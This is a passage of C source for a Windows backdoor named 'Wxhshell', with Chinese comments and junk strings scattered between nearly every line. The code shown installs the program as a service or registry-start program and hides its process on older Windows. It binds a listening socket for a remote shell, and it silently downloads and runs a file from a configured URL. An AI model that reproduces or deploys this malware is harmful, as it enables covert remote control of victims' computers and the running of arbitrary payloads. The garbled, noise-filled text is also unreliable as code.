g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EZRZ)h "FvlZRfXj CloseHandle(hProcess); B F|FW OBQ!0NM_b if(strstr(procName,"services")) return 1; // 以服务启动 {;M/J ;FflEL<7Y return 0; // 注册表启动 t3JPxg]0k' } m48Y1'4 Vn;]''_ // 主模块 *tPY int StartWxhshell(LPSTR lpCmdLine) eW,Pn' { q#-H+7 5 SOCKET wsl; ~0Q72 BOOL val=TRUE; i>zyn-CuW int port=0; Dy@NgHe struct sockaddr_in door; =JH,RQ
* ZM`_P!G if(wscfg.ws_autoins) Install(); <qt%MM [Y )pa|uH+N port=atoi(lpCmdLine); 1*b%C"C gRI|rDC)B if(port<=0) port=wscfg.ws_port; nDw9 Vs"Q-? WSADATA data; O#Hz5A5 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !iOu07<n&D +@7R,8 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; EA#!h'-s setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L-gF$it\*b door.sin_family = AF_INET; W78-'c door.sin_addr.s_addr = inet_addr("127.0.0.1"); !,uw./8@Ku door.sin_port = htons(port); Te#[+B? kO4~N-& if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !
NEq|Y closesocket(wsl); @$G
K<jl return 1; imQNfNm } '#6DI"vJ
z#
B) b5 if(listen(wsl,2) == INVALID_SOCKET) { 1bs95Fh9Q closesocket(wsl); iO`f{?b return 1; 3$;v# P$%N } hJNA% Wxhshell(wsl); ohk =7d.' WSACleanup(); }cmL{S ,DLNI0uV return 0; ')RK(I 8;3FTF } 7IH{5o\e SoIMf tX // 以NT服务方式启动 +?tNly` VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <{kj}nxz { J1t?Qj;f3 DWORD status = 0; j<?4N*S DWORD specificError = 0xfffffff; ABGL9;.8 ZVU)@[s serviceStatus.dwServiceType = SERVICE_WIN32; li^E$9oWC serviceStatus.dwCurrentState = SERVICE_START_PENDING; wE2?/wb serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,fFJSY^ serviceStatus.dwWin32ExitCode = 0; $hh=-#J8 serviceStatus.dwServiceSpecificExitCode = 0; -+/| serviceStatus.dwCheckPoint = 0; BJ/%{ C`g serviceStatus.dwWaitHint = 0; cG6+'=]3< \v Go5` hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4+:u2&I if (hServiceStatusHandle==0) return; n\U6oJN r$zXb9a|< status = GetLastError(); E;0"1
P|S if (status!=NO_ERROR) JJXf%o0yq { <h[^&CY{ serviceStatus.dwCurrentState = SERVICE_STOPPED; ,0xN#&?Ohh serviceStatus.dwCheckPoint = 0; u Rg^: serviceStatus.dwWaitHint = 0; nr;/:[F serviceStatus.dwWin32ExitCode = status; 8nM]G4H.f serviceStatus.dwServiceSpecificExitCode = specificError; ?'r[P03 SetServiceStatus(hServiceStatusHandle, &serviceStatus); }e)ltp| return; %+}\i'j7 } -xlI'gNg7 9'M({/7y serviceStatus.dwCurrentState = SERVICE_RUNNING; qm@hD>W+ serviceStatus.dwCheckPoint = 0; `(<>` serviceStatus.dwWaitHint = 0; isqW?$s if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d1N&J`R\1 } _G`aI*rKsy ?jnEHn // 处理NT服务事件,比如:启动、停止 V qf}(3K0 VOID WINAPI NTServiceHandler(DWORD fdwControl) seim?LK { w:Vs$, switch(fdwControl) R?R6|4 { O^GTPYW case SERVICE_CONTROL_STOP: UF4QPPH4 serviceStatus.dwWin32ExitCode = 0; );vU=p"@ serviceStatus.dwCurrentState = SERVICE_STOPPED; ~ nIZg5 serviceStatus.dwCheckPoint = 0; ezeGw?/ serviceStatus.dwWaitHint = 0; 1Cthi[B { Gf>T{Q`,is SetServiceStatus(hServiceStatusHandle, &serviceStatus); {S c1!2q } 1Low[i return; z$A5p4=B'^ case SERVICE_CONTROL_PAUSE: r&w>+KIt serviceStatus.dwCurrentState = SERVICE_PAUSED; 6O?O6Ub break; ;2^=#7I? case SERVICE_CONTROL_CONTINUE: _G42|lA$/ serviceStatus.dwCurrentState = SERVICE_RUNNING; #PGExN3e break; ^`$KN0PY case SERVICE_CONTROL_INTERROGATE: 4*]`s|fbu break; ;lldxS }; q4E{? SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1'=brc YR } l6RJour :iJ= 9 // 标准应用程序主函数 <W1!n$V ] int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hH~Z hB {
7)YU ; EC7o 3LoND // 获取操作系统版本 \y=,=;yv OsIsNt=GetOsVer(); e_e|t>nQ GetModuleFileName(NULL,ExeFile,MAX_PATH); :&]%E/ :
f Wh7X3 // 从命令行安装 ^,50]uX_ if(strpbrk(lpCmdLine,"iI")) Install(); 4V=dD<3m >13= 4S // 下载执行文件 }
? if(wscfg.ws_downexe) { :98Pe6 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F!U+IztZ WinExec(wscfg.ws_filenam,SW_HIDE); /lUb9&yV } ,}[,]-nVx ^I^k4iw4 if(!OsIsNt) { 8Og9P1jVh // 如果时win9x,隐藏进程并且设置为注册表启动 vwg\qKqSM HideProc(); 6Rso}hF}} StartWxhshell(lpCmdLine); <[*s%9)'9 } b`IC)xN$ else SYyH_0N if(StartFromService()) rv^j&X+EH // 以服务方式启动 * fx<>aK StartServiceCtrlDispatcher(DispatchTable); nBQG.3 else VFyt9:a // 普通方式启动 }=++Lr4* StartWxhshell(lpCmdLine); m{' q(w} }b44^iL$9y return 0; tNtP+v-{ }
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